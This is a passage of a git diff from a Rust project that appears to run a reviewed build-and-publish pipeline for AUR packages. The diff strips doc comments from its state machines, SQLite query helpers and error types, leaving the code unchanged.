than a - /// content hash. pub fn is_vcs(&self) -> bool { matches!(self.kind.as_str(), "vcs" | "git" | "svn" | "hg" | "bzr") } } -/// A member of a world snapshot: one of *our* packages the build ran against. #[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Serialize, Deserialize)] pub struct WorldMember { pub pkgbase: String, pub version: String, } -/// The identity tuple of a candidate (§3). Every element is part of the key. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct Identity { pub aur_commit: String, @@ -79,30 +58,18 @@ pub struct Identity { } impl Identity { - /// The hash that makes I3 a fact: two byte-identical inputs never produce two - /// candidates, and any change to what becomes a byte in the artifact produces a - /// new one. This is the value an approval must echo; a value that cannot be - /// serialized is an error rather than a digest, because a shared fallback - /// digest would be the one way two identities could collide by accident. pub fn hash(&self) -> crate::error::Result { Ok(format!("sha256:{}", hash::hex(hash::canonical_json(self)?.as_bytes()))) } } -/// The review state machine (§7.1). A decision must never be overwritten by -/// accident — an approval that silently replaced a rejection would break I2 and -/// I3 without any symptom — so the states are an enum and -/// [`crate::db::candidates::resolve_in`] refuses a move the machine forbids. #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum CandidateState { - /// The only state a reviewer can act on. PendingReview, Approved, Rejected, - /// A newer review of the same pkgbase took its place (§7.1). Superseded, - /// Not approved because something it needs is missing (§10.4). Blocked, } @@ -133,7 +100,6 @@ impl CandidateState { *self == CandidateState::PendingReview } - /// Re-writing the state a row already has is a no-op, not a move. pub fn can_transition(&self, to: CandidateState) -> bool { use CandidateState::*; if *self == to { @@ -141,7 +107,6 @@ impl CandidateState { } match self { PendingReview => matches!(to, Approved | Rejected | Superseded | Blocked), - // A decided review is only ever frozen, never re-decided (§7.1). Approved | Rejected => to == Superseded, Blocked => matches!(to, PendingReview | Approved | Rejected), Superseded => false, @@ -168,14 +133,11 @@ pub mod candidate_kind { pub const FIRST_INTRODUCTION: &str = "first_introduction"; } -/// The release state machine (§9). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum ReleaseState { Published, - /// Taken out of the index (§9 withdrawal); the row stays (§15). Withdrawn, - /// Approved, but the build never produced it: the old version still serves. FailedUnbuilt, } @@ -198,7 +160,6 @@ impl ReleaseState { ReleaseState::ALL.iter().copied().find(|r| r.as_str() == s) } - /// Withdrawal is the only move a release makes on its own. pub fn can_transition(&self, to: ReleaseState) -> bool { use ReleaseState::*; if *self == to { @@ -217,11 +178,7 @@ impl std::fmt::Display for ReleaseState { } } -/// What the state enums below have in common: a closed set of column values, -/// parsed where a row is read, so `db::state_col` can fail an unknown state -/// instead of defaulting it. pub trait StateEnum: Copy + Sized { - /// The name of the machine, for the error message. const KIND: &'static str; fn parse(text: &str) -> Option; fn as_str(&self) -> &'static str; @@ -247,17 +204,11 @@ impl_state_enum!(StepState, "build step"); impl_state_enum!(ReleaseState, "release"); impl_state_enum!(SubscriptionState, "subscription"); -/// The build state machine (§7.1, §8.2). A state is one of these seven, it is -/// parsed where a row is read, and `can_transition` is the only way a write -/// happens. #[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] pub enum BuildState { Queued, - /// Claimed by a worker with a lease (§8.2). Leased, - /// A step is executing. Running, - /// Waiting for packages another build must publish first (§10.4). BlockedMissingDep, Succeeded, Failed, @@ -275,8 +226,6 @@ impl BuildState { BuildState::Cancelled, ]; - /// The text in the `state` column — a spelling the reaper, dispatcher and UI - /// all speak. pub fn as_str(&self) -> &'static str { match self { BuildState::Queued => "queued", @@ -289,14 +238,10 @@ impl BuildState { } } - /// An unrecognised state is `None`, and the row boundary turns that into an - /// error: a state we cannot name is one we must not act on. pub fn parse(s: &str) -> Option { BuildState::ALL.iter().copied().find(|b| b.as_str() == s) } - /// Nothing happens to a finished build by itself; only an explicit human - /// requeue or resume moves it again. pub fn is_terminal(&self) -> bool { matches!( self, @@ -304,32 +249,22 @@ impl BuildState { ) } - /// Writing the state a row already has is always allowed: the step loop - /// re-asserts `Running` at every step boundary (§8.3). Everything else is - /// refused by [`crate::db::builds::set_state`], and the refusals are the point: - /// nothing revives a `Succeeded` build, and a build reaped back to `Queued` - /// cannot be completed by the zombie worker that lost its lease. pub fn can_transition(&self, to: BuildState) -> bool { use BuildState::*; if *self == to { return true; } match self { - // The dispatcher claims queued builds; `aur-build run ` runs one - // in the foreground without a lease. Queued => matches!(to, Leased | Running | BlockedMissingDep | Cancelled), Leased => matches!(to, Running | Queued | BlockedMissingDep | Succeeded | Failed | Cancelled), Running => matches!(to, Queued | BlockedMissingDep | Succeeded | Failed | Cancelled), BlockedMissingDep => matches!(to, Queued | Cancelled), - // A failed build is resumed on the same row — that is I5 (§8.4). Failed => matches!(to, Queued | Running), Cancelled => to == Queued, Succeeded => false, } } - /// Every state that may legally move to `to` — the `WHERE state IN (...)` - /// that makes a state write a compare-and-swap. pub fn predecessors(to: BuildState) -> Vec<&'static str> { BuildState::ALL .iter() @@ -354,9 +289,6 @@ impl std::fmt::Display for BuildState { } } -/// The step checkpoint state machine (§8.3, I5). The checkpoint row is what a -/// resumed build reads to decide what not to redo, so a completed checkpoint is -/// frozen. #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum StepState { @@ -364,7 +296,6 @@ pub enum StepState { Running, Succeeded, Failed, - /// Killed mid-step; the reaper writes this so the resume re-runs it (§8.2). Interrupted, Skipped, } @@ -394,8 +325,6 @@ impl StepState { StepState::ALL.iter().copied().find(|st| st.as_str() == text) } - /// I5: the resume skips a step in one of these two states, so nothing may - /// move it again. pub fn is_done(&self) -> bool { matches!(self, StepState::Succeeded | StepState::Skipped) } @@ -407,8 +336,6 @@ impl StepState { } match self { Pending => matches!(to, Running | Succeeded | Failed | Interrupted | Skipped), - // `Running → Pending` is the blocked path: the step did not happen, - // so the checkpoint goes back to waiting. Running => matches!(to, Pending | Succeeded | Failed | Interrupted | Skipped), Failed | Interrupted => matches!(to, Pending | Running), Succeeded | Skipped => false, @@ -442,13 +369,11 @@ pub mod notice_kind { pub const DOWNGRADE: &str = "downgrade"; } -/// Whether a pkgbase is being watched (§4.1, §12). #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] #[serde(rename_all = "snake_case")] pub enum SubscriptionState { Active, Paused, - /// The pkgbase left AUR; the watcher stopped looking (§12). Orphaned, Removed, } @@ -474,8 +399,6 @@ impl SubscriptionState { SubscriptionState::ALL.iter().copied().find(|st| st.as_str() == text) } - /// Pause and resume are the only moves the UI makes; orphaned and removed - /// are facts about the pkgbase, reported once. pub fn can_transition(&self, to: SubscriptionState) -> bool { use SubscriptionState::*; if *self == to { @@ -496,8 +419,6 @@ impl std::fmt::Display for SubscriptionState { } } -/// The pipeline steps (§8.1). Order matters: a build resumes at the first step -/// in this list without a `succeeded` row. pub const BUILD_STEPS: &[&str] = &[ "materialize", "plan", @@ -511,20 +432,15 @@ pub const BUILD_STEPS: &[&str] = &[ "publish", ]; -/// A `source=()` entry after parsing. #[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct SourceEntry { pub index: usize, - /// The URL as written, minus the filename fragment. pub url: String, - /// Explicit filename (`::name` / `::` prefix handling). pub filename: Option, pub commit: Option, pub tag: Option, pub branch: Option, - /// Set when the url is prefixed `git+`, `svn+`, `hg+`, `bzr+`. pub vcs: Option, - /// True for files shipped inside the AUR repo (no scheme). pub local: bool, } @@ -534,7 +450,6 @@ impl SourceEntry { } } -/// A parsed recipe: what `.SRCINFO` / `PKGBUILD` tell us. #[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] pub struct Recipe { pub pkgbase: String, @@ -559,15 +474,11 @@ pub struct Recipe { pub options: Vec, pub backup: Vec, pub install: Option, - /// Names of the binary packages this pkgbase emits (split pkgbases have N). pub pkgnames: Vec, pub pkg_depends: Vec<(String, Vec)>, - /// Raw PKGBUILD text, for display and diffing. pub pkgbuild: String, pub srcinfo: Option, - /// True if `--skippgpcheck` appears in the PKGBUILD. pub skipgpcheck: bool, - /// Derived from `source`, so not serialized. #[serde(skip, default)] pub source_entries: Vec, } @@ -578,7 +489,6 @@ impl Recipe { } } -/// A source row as stored on a candidate/release. #[derive(Debug, Clone, Serialize, Deserialize)] pub struct ReleaseRow { pub id: i64, @@ -652,7 +562,6 @@ impl CandidateRow { } } -/// Parse a JSON column with a fallback, so one bad row never takes down a page. pub fn json_or(s: &str, fallback: T) -> T { serde_json::from_str(s).unwrap_or(fallback) } diff --git a/src/db/queries.rs b/src/db/queries.rs index 924051d..583676b 100644 --- a/src/db/queries.rs +++ b/src/db/queries.rs @@ -6,10 +6,6 @@ use crate::time; // ---------------------------------------------------------------- settings -- -/// Every setting, for the settings page. -/// -/// Row-error policy, applied everywhere in `db` (m-9): a row that cannot be read -/// fails the query rather than being dropped silently. pub fn all_settings(db: &Db) -> Result> { db.read(|c| { let mut st = c.prepare("SELECT key, value FROM settings ORDER BY key")?; @@ -26,13 +22,6 @@ pub fn setting(db: &Db, key: &str) -> Result> { }) } -/// An integer setting, or `default`. -/// -/// The policy, stated once (m-9): a *missing* setting is normal — the default is -/// the answer. A setting present but unparseable, or a read that failed, is not, -/// and silently returning the default would hide an operator's typo. Both still -/// fall back, because refusing to start over a tuning knob is worse — but they -/// fall back out loud. pub fn setting_i64(db: &Db, key: &str, default: i64) -> i64 { match setting(db, key) { Ok(None) => default, @@ -62,7 +51,6 @@ pub fn set_setting(writer: &Writer, key: &str, value: &str) -> Result<()> { // ------------------------------------------------------------------- audit -- -/// Append an audit row (I10). Every state transition funnels through here. pub fn audit( writer: &Writer, actor_kind: &str, @@ -94,9 +82,6 @@ pub fn audit( }) } -/// An audit row to append inside someone else's transaction. Build one with -/// [`AuditEntry::human`] or [`AuditEntry::system`]: `actor_kind` is a closed set -/// and the timestamp is not the caller's to improvise (§6 m-4). #[derive(Debug)] pub struct AuditEntry<'a> { pub at: &'a str, @@ -109,7 +94,6 @@ pub struct AuditEntry<'a> { } impl<'a> AuditEntry<'a> { - /// A decision a named human made (§11: every approval is attributable). pub fn human( at: &'a str, actor: &'a str, @@ -121,7 +105,6 @@ impl<'a> AuditEntry<'a> { Self { at, actor_kind: "human", actor, action, entity, entity_id, detail } } - /// Something the server did by itself: a publish, a requeue, a watcher tick. pub fn system( at: &'a str, action: &'a str, @@ -133,8 +116,6 @@ impl<'a> AuditEntry<'a> { } } -/// Append an audit row inside a caller's transaction (I10), so the record of a -/// decision commits with the decision or not at all. pub fn audit_in(tx: &rusqlite::Transaction<'_>, e: &AuditEntry<'_>) -> Result<()> { tx.execute( "INSERT INTO audit (at, actor_kind, actor, action, entity, entity_id, detail_json) @@ -150,7 +131,6 @@ pub fn audit_system(writer: &Writer, action: &str, entity: &str, entity_id: &str // -------------------------------------------------------------------- repo -- -/// Ensure the single repo row exists (decision 4: exactly one). pub fn ensure_repo(writer: &Writer, name: &str, path: &str, arch: &str, key: &str) -> Result { let (n, p, a, k) = (name.to_string(), path.to_string(), arch.to_string(), key.to_string()); writer.tx(move |tx| { @@ -229,7 +209,6 @@ pub fn get_subscription(db: &Db, pkgbase: &str) -> Result> }) } -/// Subscribe: creates the pkgbase row and an active subscription. Idempotent. pub fn subscribe(writer: &Writer, repo_id: i64, pkgbase: &str, aur_url: &str) -> Result { let (p, u) = (pkgbase.to_string(), aur_url.to_string()); let at = time::now(); @@ -274,7 +253,6 @@ pub fn note_check(writer: &Writer, pkgbase: &str, next_check_at: &str, err: Opti }) } -/// Subscriptions whose next check is due. pub fn due_subscriptions(db: &Db, now: &str) -> Result> { db.read(|c| { let mut stmt = c.prepare(&format!( @@ -378,8 +356,6 @@ pub fn set_unpinable(writer: &Writer, pkgbase_id: i64, unpinable: bool) -> Resul }) } -/// Compare-and-swap the accepted-release pointer (§16: concurrent approvals). -/// Returns Ok(true) when the swap happened. pub fn cas_accepted_release( writer: &Writer, pkgbase_id: i64, @@ -398,7 +374,6 @@ pub fn cas_accepted_release( // ---------------------------------------------------------------- snapshot -- -/// Insert-or-get a snapshot for (pkgbase, aur_commit). #[allow(clippy::too_many_arguments)] pub fn put_snapshot( writer: &Writer, @@ -509,12 +484,6 @@ const RELEASE_COLS_R: &str = "r.id, r.pkgbase_id, r.candidate_id, r.approval_id, r.recipe_hash, r.upstream_pins_json, r.source_digests_json, r.epoch, r.pkgver, r.pkgrel, \ r.world_snapshot_id, r.state, r.published_at"; -/// Take a release out of the served index (§9, decision 23), in the caller's -/// transaction so the removal and the audit row explaining it are one fact. -/// -/// Refuses a release that is not currently published (m-10): re-withdrawing used -/// to report success and rewrite nothing. The write is a compare-and-swap on -/// `state='published'`, and the refusal names the state that was actually there. pub fn withdraw_release_in(tx: &rusqlite::Transaction<'_>, release_id: i64) -> Result<()> { let n = tx.execute( "UPDATE release SET state='withdrawn' WHERE id=?1 AND state='published'", @@ -551,8 +520,6 @@ pub fn release_by_id(db: &Db, id: i64) -> Result> { }) } -/// The accepted release of a pkgbase, by name. `None` for a pkgbase that has -/// never been accepted — the case that makes `first_introduction` special (§7.1b). pub fn accepted_release(db: &Db, pkgbase: &str) -> Result> { db.read(|c| { c.query_row( @@ -609,7 +576,6 @@ pub struct PackageRow { pub version: String, pub artifact_id: Option, pub pkgbase: String, - /// Bytes of the packaged .pkg.tar.zst, so the index page can show a size. pub size: Option, pub published_at: Option, } @@ -647,7 +613,6 @@ pub fn index_packages(db: &Db) -> Result> { }) } -/// Version of the package with this name currently in our index, if any. pub fn index_version(db: &Db, name: &str) -> Result> { db.read(|c| { c.query_row( @@ -661,9 +626,6 @@ pub fn index_version(db: &Db, name: &str) -> Result> { }) } -/// The exact artifact we serve for a package name: `(version, digest)`. This is -/// what a build's lease manifest pins — the dependency arrives as these bytes or -/// the build fails closed (§8). pub fn index_artifact(db: &Db, name: &str) -> Result> { db.read(|c| { c.query_row( @@ -678,8 +640,6 @@ pub fn index_artifact(db: &Db, name: &str) -> Result> { }) } -/// Is `name` one of the packages we publish? Used to filter world snapshots -/// down to our own packages (§10.1). pub fn is_ours(db: &Db, name: &str) -> Result { db.read(|c| { c.query_row( @@ -693,7 +653,6 @@ pub fn is_ours(db: &Db, name: &str) -> Result { }) } -/// All package names we publish (in_index), as a set. pub fn our_package_names(db: &Db) -> Result> { db.read(|c| { let mut stmt = c.prepare("SELECT DISTINCT name FROM package WHERE state='in_index'")?; @@ -706,9 +665,6 @@ pub fn our_package_names(db: &Db) -> Result> }) } -/// The recipe the accepted release was actually built from, by walking -/// release -> candidate -> snapshot. Risk scoring compares against this, which -/// is why "last seen" can never leak into a review (§6, I2). pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result> { let cid = match release.candidate_id { Some(c) => c, @@ -728,7 +684,6 @@ pub fn accepted_recipe(db: &Db, release: &ReleaseRow) -> Result> }) } -/// Recent builds for one pkgbase, newest first. pub fn builds_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result> { db.read(move |c| { let mut st = c.prepare( @@ -738,18 +693,12 @@ pub fn builds_for_pkgbase(db: &Db, pkgbase_id: i64, limit: i64) -> Result>>().map_err(Into::into) }) } // ------------------------------------------------------------ publish writes -- -// -// Publishing is the one externally visible step, so every statement it needs is -// here and the *decision* stays in `pipeline::publish` (I4). -/// The on-disk path of an artifact, by id. pub fn artifact_path(db: &Db, id: i64) -> Result> { db.read(|c| { Ok(c.query_row("SELECT path FROM artifact WHERE id=?1", params![id], |r| r.get::<_, String>(0)) @@ -757,15 +706,12 @@ pub fn artifact_path(db: &Db, id: i64) -> Result> { }) } -/// The artifact row for a content digest, if one exists. Two releases built from -/// identical bytes share one artifact row — that is the point of the digest. pub fn artifact_id_by_digest_in(tx: &rusqlite::Transaction<'_>, digest: &str) -> Result> { Ok(tx .query_row("SELECT id FROM artifact WHERE digest=?1", params![digest], |r| r.get::<_, i64>(0)) .optional()?) } -/// The pkgbase's accepted pointer, read inside a transaction: the CAS baseline. pub fn accepted_pointer_in(tx: &rusqlite::Transaction<'_>, pkgbase_id: i64) -> Result> { tx.query_row( "SELECT current_accepted_release_id FROM pkgbase WHERE id=?1", @@ -777,8 +723,6 @@ pub fn accepted_pointer_in(tx: &rusqlite::Transaction<'_>, pkgbase_id: i64) -> R .map_err(Into::into) } -/// Compare-and-swap the accepted pointer inside a transaction. `false` means it -/// was not where the caller thought it was, and the publish must not land. pub fn cas_accepted_release_in( tx: &rusqlite::Transaction<'_>, pkgbase_id: i64, @@ -792,8 +736,6 @@ pub fn cas_accepted_release_in( Ok(moved == 1) } -/// Retire whatever the index held for these names. The index holds exactly the -/// accepted pointers, so this runs before the new rows go in. pub fn remove_index_packages_in(tx: &rusqlite::Transaction<'_>, names: &[String]) -> Result<()> { if names.is_empty() { return Ok(()); @@ -805,7 +747,6 @@ pub fn remove_index_packages_in(tx: &rusqlite::Transaction<'_>, names: &[String] Ok(()) } -/// Retire one named package from the index (the §9 withdrawal path). pub fn remove_package_by_name_in(tx: &rusqlite::Transaction<'_>, repo_id: i64, name: &str) -> Result<()> { tx.execute( "UPDATE package SET state='removed' WHERE repo_id=?1 AND name=?2", @@ -814,8 +755,6 @@ pub fn remove_package_by_name_in(tx: &rusqlite::Transaction<'_>, repo_id: i64, n Ok(()) } -/// Everything a published release records. Borrowed because the caller is in the -/// middle of a transaction and has the values on the stack. pub struct NewRelease<'a> { pub pkgbase_id: i64, pub candidate_id: Option, @@ -831,7 +770,6 @@ pub struct NewRelease<'a> { pub build_id: &'a str, } -/// Insert the release row and return its id. pub fn insert_release_in(tx: &mut rusqlite::Transaction<'_>, r: &NewRelease<'_>, at: &str) -> Result { tx.execute( "INSERT INTO release (pkgbase_id, candidate_id, approval_id, aur_commit, recipe_hash, @@ -857,7 +795,6 @@ pub fn insert_release_in(tx: &mut rusqlite::Transaction<'_>, r: &NewRelease<'_>, Ok(tx.last_insert_rowid()) } -/// Put one package into the index, pointing at the artifact with this digest. pub fn insert_package_in( tx: &rusqlite::Transaction<'_>, repo_id: i64, @@ -877,12 +814,7 @@ pub fn insert_package_in( } // ------------------------------------------------------------ staleness reads -- -// -// Staleness is derived on read (§10.2). These return plain tuples: the *meaning* -// is `watch::staleness`'s business, the SQL is this module's. -/// `(pkgbase, world members JSON)` for every published release, taken from the -/// world snapshot its build recorded (§10.1). pub fn published_world_members(db: &Db) -> Result> { db.read(|c| { let mut st = c.prepare( @@ -898,8 +830,6 @@ pub fn published_world_members(db: &Db) -> Result> { }) } -/// `(pkgbase, served pkgver, newest candidate pkgver)` for every accepted -/// release — the pair the downgrade check compares (§10.2). pub fn served_vs_offered_pkgvers(db: &Db) -> Result> { db.read(|c| { let mut st = c.prepare( @@ -922,12 +852,6 @@ pub fn served_vs_offered_pkgvers(db: &Db) -> Result Result> { db.read(|c| { let mut stmt = c.prepare( @@ -946,7 +870,6 @@ pub fn index_recipes(db: &Db) -> Result> { }) } -/// The note a reviewer left on an approval, empty when there was none. pub fn approval_note(db: &Db, approval_id: i64) -> Result { db.read(|c| { c.query_row("SELECT COALESCE(note,'') FROM approval WHERE id=?1", params![approval_id], |r| r.get::<_, String>(0)) @@ -956,7 +879,6 @@ pub fn approval_note(db: &Db, approval_id: i64) -> Result { }) } -/// The snapshot a candidate was created from, for rendering its diff. pub fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Result> { db.read(|c| { Ok(c.query_row("SELECT snapshot_id FROM candidate WHERE id=?1", params![candidate_id], |r| r.get::<_, i64>(0)) @@ -964,8 +886,6 @@ pub fn candidate_snapshot_id(db: &Db, candidate_id: i64) -> Result> }) } -/// The poll interval configured for a subscription, as the scheduler already -/// knows it (§5.1: one place decides how often a pkgbase is checked). pub fn subscription_poll_interval(db: &Db, pkgbase: &str) -> Result> { db.read(|c| { Ok(c.query_row( @@ -978,7 +898,6 @@ pub fn subscription_poll_interval(db: &Db, pkgbase: &str) -> Result> }) } -/// Record a fetched source in the content-addressed cache (§5.3). pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, path: &str) -> Result<()> { let (u, d, p) = (url.to_string(), digest.to_string(), path.to_string()); let at = time::now(); @@ -992,7 +911,6 @@ pub fn put_source_cache(writer: &Writer, url: &str, digest: &str, size: u64, pat }) } -/// Where a cached source with this url+digest lives on disk. pub fn source_cache_path(db: &Db, url: &str, digest: &str) -> Result> { db.read(|c| { Ok(c.query_row( @@ -1004,7 +922,6 @@ pub fn source_cache_path(db: &Db, url: &str, digest: &str) -> Result { pub digest: &'a str, pub size: i64, @@ -1015,9 +932,6 @@ pub struct NewArtifact<'a> { pub at: &'a str, } -/// Record an artifact produced by a build. Identical bytes are one row: the -/// digest is the identity, and the row is re-stamped with the build that most -/// recently produced them. pub fn insert_artifact_in(tx: &rusqlite::Transaction<'_>, a: &NewArtifact<'_>) -> Result<()> { tx.execute( "INSERT INTO artifact (digest, size, path, signature_path, build_log_path, build_id, created_at) @@ -1030,7 +944,6 @@ pub fn insert_artifact_in(tx: &rusqlite::Transaction<'_>, a: &NewArtifact<'_>) - // --------------------------------------------------------- stage B cache -- -/// Exact cache hit: same recipe, same upstream tips (§5.2). pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash: &str) -> Result> { let (rh, th) = (recipe_hash.to_string(), tip_hash.to_string()); db.read(move |c| { @@ -1058,7 +971,6 @@ pub fn stage_b_cache_get(db: &Db, pkgbase_id: i64, recipe_hash: &str, tip_hash: }) } -/// The most recent answer for this pkgbase, if it is inside the cooldown window. pub fn stage_b_recent(db: &Db, pkgbase_id: i64, cooldown_secs: i64) -> Result> { let cutoff = crate::time::secs_ago(cooldown_secs); db.read(move |c| { @@ -1132,8 +1044,6 @@ pub fn put_notice( }) } -/// Suppress a notice if an identical unacknowledged one already exists, so a -/// watcher polling daily does not spam the same alert. pub fn put_notice_once( writer: &Writer, pkgbase_id: i64, @@ -1290,11 +1200,7 @@ pub fn list_audit(db: &Db, limit: i64) -> Result> { } // -------------------------------------------------------------- metrics reads -- -// -// The metrics surface is derived from live state, never stored (§10.3). -/// The `count(*)` idiom in one place, so a metric cannot accidentally become a -/// `count(*)` of a join. fn count_rows(db: &Db, sql: &str) -> Result { let sql = sql.to_string(); db.read(move |c| { @@ -1303,7 +1209,6 @@ fn count_rows(db: &Db, sql: &str) -> Result { }) } -/// `(state, count)` for every build state present. pub fn build_state_counts(db: &Db) -> Result> { db.read(|c| { let mut st = c.prepare("SELECT state, count(*) FROM build GROUP BY state ORDER BY state")?; @@ -1316,7 +1221,6 @@ pub fn build_state_counts(db: &Db) -> Result> { }) } -/// Seconds the oldest queued build has been waiting; 0 when the queue is empty. pub fn oldest_queued_age_secs(db: &Db, now: &str) -> Result { db.read(|c| { c.query_row( @@ -1330,12 +1234,10 @@ pub fn oldest_queued_age_secs(db: &Db, now: &str) -> Result { }) } -/// How many candidates are waiting for a decision. pub fn count_pending_reviews(db: &Db) -> Result { count_rows(db, "SELECT count(*) FROM candidate WHERE state='pending_review'") } -/// Age in seconds of every pending review; the caller sorts them. pub fn pending_review_ages_secs(db: &Db, now: &str) -> Result> { db.read(|c| { let mut st = c.prepare("SELECT julianday(?1) - julianday(detected_at) FROM candidate WHERE state='pending_review'")?; @@ -1364,7 +1266,6 @@ pub fn count_unacknowledged_notices(db: &Db) -> Result { count_rows(db, "SELECT count(*) FROM notice WHERE acknowledged_at IS NULL") } -/// Bytes of artifact still on disk. Purged rows are history, not usage. pub fn artifact_bytes_served(db: &Db) -> Result { db.read(|c| { c.query_row( @@ -1377,7 +1278,6 @@ pub fn artifact_bytes_served(db: &Db) -> Result { }) } -/// Seconds since the last retention run, if there has been one. pub fn last_gc_age_secs(db: &Db, now: &str) -> Result> { let at = db.read(|c| { c.query_row("SELECT max(ran_at) FROM gc_run", [], |r| r.get::<_, Option>(0)) @@ -1386,8 +1286,6 @@ pub fn last_gc_age_secs(db: &Db, now: &str) -> Result> { Ok(at.and_then(|t| time::delta_secs(now, &t))) } -/// Seconds since the last successful poll of any source. This is the metric that -/// catches a watcher that stopped. pub fn last_poll_age_secs(db: &Db, now: &str) -> Result> { let at = db.read(|c| { c.query_row("SELECT max(last_checked_at) FROM subscription", [], |r| r.get::<_, Option>(0)) @@ -1398,7 +1296,6 @@ pub fn last_poll_age_secs(db: &Db, now: &str) -> Result> { // -------------------------------------------------------------- retention reads -- -/// `(pkgbase id, current accepted release)` for every pkgbase, in id order. pub fn pkgbase_release_pointers(db: &Db) -> Result)>> { db.read(|c| { let mut st = c.prepare("SELECT id, current_accepted_release_id FROM pkgbase ORDER BY id")?; @@ -1411,7 +1308,6 @@ pub fn pkgbase_release_pointers(db: &Db) -> Result)>> { }) } -/// Published release ids of one pkgbase, newest first. pub fn published_release_ids(db: &Db, pkgbase_id: i64) -> Result> { db.read(|c| { let mut st = c.prepare("SELECT id FROM release WHERE pkgbase_id=?1 AND state='published' ORDER BY id DESC")?; @@ -1424,8 +1320,6 @@ pub fn published_release_ids(db: &Db, pkgbase_id: i64) -> Result> { }) } -/// Releases of one pkgbase that still back an `in_index` package. Retention must -/// never evict these: the index is pointing at their bytes right now. pub fn serving_release_ids(db: &Db, pkgbase_id: i64) -> Result> { db.read(|c| { let mut st = c.prepare( @@ -1441,12 +1335,8 @@ pub fn serving_release_ids(db: &Db, pkgbase_id: i64) -> Result> { }) } -/// The three paths one artifact row points at: the package, its signature and -/// its build log. Any of them can be absent (an unsigned build, a log that was -/// already purged). pub type ArtifactPaths = (Option, Option, Option); -/// The artifact paths one release holds: package, signature, build log. pub fn release_artifact_paths(db: &Db, release_id: i64) -> Result> { db.read(|c| { let mut st = c.prepare( @@ -1464,9 +1354,6 @@ pub fn release_artifact_paths(db: &Db, release_id: i64) -> Result Result<()> { let at = time::now(); writer.tx(move |tx| { @@ -1480,8 +1367,6 @@ pub fn mark_release_purged(writer: &Writer, release_id: i64) -> Result<()> { }) } -/// Record a retention run, which is what the ops page and the `last_gc_age` -/// metric read. pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_removed: i64, bytes_freed: i64, staging_swept: i64) -> Result<()> { let at = at.to_string(); writer.tx(move |tx| { @@ -1496,8 +1381,6 @@ pub fn record_gc_run(writer: &Writer, at: &str, kept: i64, evicted: i64, files_r // ------------------------------------------------------- invariant helpers -- -/// I1: every artifact in a served repo index traces to an approval row. -/// Returns offending package names; empty means the invariant holds. pub fn unapproved_index_entries(db: &Db) -> Result> { db.read(|c| { let mut stmt = c.prepare( @@ -1515,8 +1398,6 @@ pub fn unapproved_index_entries(db: &Db) -> Result> { }) } -/// I8: the set of packages in the index is exactly the set of -/// `current_accepted_release` pointers for active subscriptions. pub fn index_pkgbase_drift(db: &Db) -> Result<(Vec, Vec)> { db.read(|c| { let mut orphans = Vec::new(); @@ -1548,15 +1429,10 @@ pub fn index_pkgbase_drift(db: &Db) -> Result<(Vec, Vec)> { }) } -/// An approved change whose build failed and never reached the index (§8.4). A -/// human said yes, the build died, and the index is quietly still serving the -/// previous version; surfacing that is the whole point. #[derive(Debug, Clone)] pub struct Unbuilt { pub pkgbase: String, - /// The version that was approved but never published. pub approved: String, - /// The version the index actually serves, empty if nothing is served. pub serving: String, pub error: String, pub build_id: String, @@ -1564,9 +1440,6 @@ pub struct Unbuilt { pub fn approved_but_unbuilt(db: &Db) -> Result> { db.read(|c| { - // The version strings are assembled in Rust by `pkgver::full_version`, - // not by a CASE expression here (m-18): a second copy of the - // epoch-omission rule in SQL is a second rule that can disagree. let mut stmt = c.prepare( "SELECT p.name, cnd.epoch, cnd.pkgver, cnd.pkgrel, @@ -1603,9 +1476,6 @@ pub fn approved_but_unbuilt(db: &Db) -> Result> { let (pkgbase, ae, av, ar, se, sv, sr, error, build_id) = r?; let (pkgbase, av, ar) = match (pkgbase, av, ar) { (Some(p), Some(v), Some(rel)) => (p, v, rel), - // The join guarantees a pkgbase, and a failed build with a - // candidate always has one; a missing version means the schema - // was violated, so say so rather than show a blank. _ => { return Err(crate::error::Error::Db( "failed build row without a candidate version".into(), diff --git a/src/error.rs b/src/error.rs index f849f83..5966e28 100644 --- a/src/error.rs +++ b/src/error.rs @@ -16,8 +16,6 @@ pub enum Error { Http(String), #[error("child process {cmd}: {detail}")] Subprocess { cmd: String, detail: String }, - /// A fail-closed assertion. Everything that guards "we build what we reviewed" - /// raises this: recipe_hash mismatch, pkgver mismatch, missing approval. #[error("assertion failed: {0}")] FailClosed(String), #[error("not found: {0}")] @@ -28,17 +26,10 @@ pub enum Error { Invalid(String), #[error("blocked: {0}")] Blocked(String), - /// The sandbox pool could not fit a lease right now. Not a failure and not a - /// retry: the build waits, as it waits for a dependency it publishes - /// (§10.4). A quota is a fact about capacity, not a bug. #[error("sandbox pool exhausted: {0}")] PoolExhausted(String), - /// The world inside the sandbox is not the world the plan approved: a pinned - /// dependency did not land, or the closure was incomplete. Its own class so - /// a test can tell "the sandbox lied" from "the sandbox broke". #[error("world mismatch: {0}")] WorldMismatch(String), - /// A failure the outside world caused and a retry may clear (§8.4). #[error("transient: {0}")] Transient(String), #[error("{0}")] @@ -80,20 +71,13 @@ impl Error { Error::WorldMismatch(s.to_string()) } - /// True when the sandbox pool, not the build, is the problem: the build - /// blocks and waits rather than failing. pub fn is_pool_exhausted(&self) -> bool { matches!(self, Error::PoolExhausted(_)) } - /// True when a retry could plausibly help (§8.4). - /// - /// `Error::Io` is *not* automatically transient (m-14): `ENOSPC` and `EACCES` - /// are `Io`, and retrying them burns attempts while a full disk goes unnoticed. pub fn is_transient(&self) -> bool { match self { Error::Http(_) | Error::Transient(_) => true, - // A quota is capacity, not a 